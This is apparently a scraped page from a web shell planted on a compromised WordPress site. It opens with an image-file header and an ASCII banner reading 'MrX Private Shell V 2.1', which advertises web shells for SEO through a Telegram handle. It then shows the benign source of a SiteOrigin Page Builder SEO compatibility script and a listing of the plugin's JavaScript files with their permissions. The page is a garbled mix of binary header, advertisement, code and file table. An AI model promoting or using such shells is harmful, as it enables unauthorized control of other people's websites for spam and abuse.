����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* global jQuery, YoastSEO, _, panelsOptions */
jQuery(function($){
var SiteOriginSeoCompat = function() {
if ( typeof YoastSEO !== 'undefined' ) {
YoastSEO.app.registerPlugin( 'SiteOriginSeoCompat', { status: 'ready' } );
YoastSEO.app.registerModification( 'content', this.contentModification, 'SiteOriginSeoCompat', 5 );
}
if ( typeof rankMathEditor !== 'undefined' ) {
wp.hooks.addFilter( 'rank_math_content', 'SiteOriginSeoCompat', this.contentModification );
}
};
SiteOriginSeoCompat.prototype.contentModification = function( data ) {
var isBlockEditorPanelsEnabled = $( '.block-editor-page' ).length && typeof window.soPanelsBuilderView !== 'undefined';
var isClassicEditorPanelsEnabled = $( '#so-panels-panels.attached-to-editor' ).is( ':visible' );
// Check if the editor has Page Builder Enabled before proceeding.
if ( isClassicEditorPanelsEnabled || isBlockEditorPanelsEnabled ) {
var whitelist = [
'p', 'a', 'img', 'caption', 'br',
'blockquote', 'cite',
'em', 'strong', 'i', 'b',
'q',
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'ul', 'ol', 'li',
'table', 'tr', 'th', 'td'
].join( ',' );
var extractContent = function( data ) {
var $data = $( data );
if( $data.find( '.so-panel.widget' ).length === 0 ) {
// Skip this for empty pages
return data;
}
// Remove elements that have no content analysis value.
$data.find( 'iframe, script, style, link' ).remove();
$data.find( "*") .not( whitelist ).each( function() {
var content = $( this ).contents();
$( this ).replaceWith( content );
} );
return $data.html();
};
if ( ! Array.isArray( window.soPanelsBuilderView ) ) {
data = extractContent( window.soPanelsBuilderView.contentPreview );
} else {
var $this = this;
data = null;
window.soPanelsBuilderView.forEach( function( panel ) {
data += extractContent( panel.contentPreview );
} );
}
}
return data;
};
if ( typeof rankMathEditor !== 'undefined' ) {
new SiteOriginSeoCompat();
} else {
$( window ).on(
'YoastSEO:ready',
function () {
new SiteOriginSeoCompat();
}
);
}
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| lib | Folder | 0755 |
|
|
| live-editor | Folder | 0755 |
|
|
| seo-compat.js | File | 2.13 KB | 0644 |
|
| seo-compat.min.js | File | 1.17 KB | 0644 |
|
| siteorigin-legacy-parallax.js | File | 5.37 KB | 0644 |
|
| siteorigin-legacy-parallax.min.js | File | 1.89 KB | 0644 |
|
| siteorigin-panels.js | File | 213.98 KB | 0644 |
|
| siteorigin-panels.min.js | File | 114.75 KB | 0644 |
|
| styling.js | File | 2.28 KB | 0644 |
|
| styling.min.js | File | 1.26 KB | 0644 |
|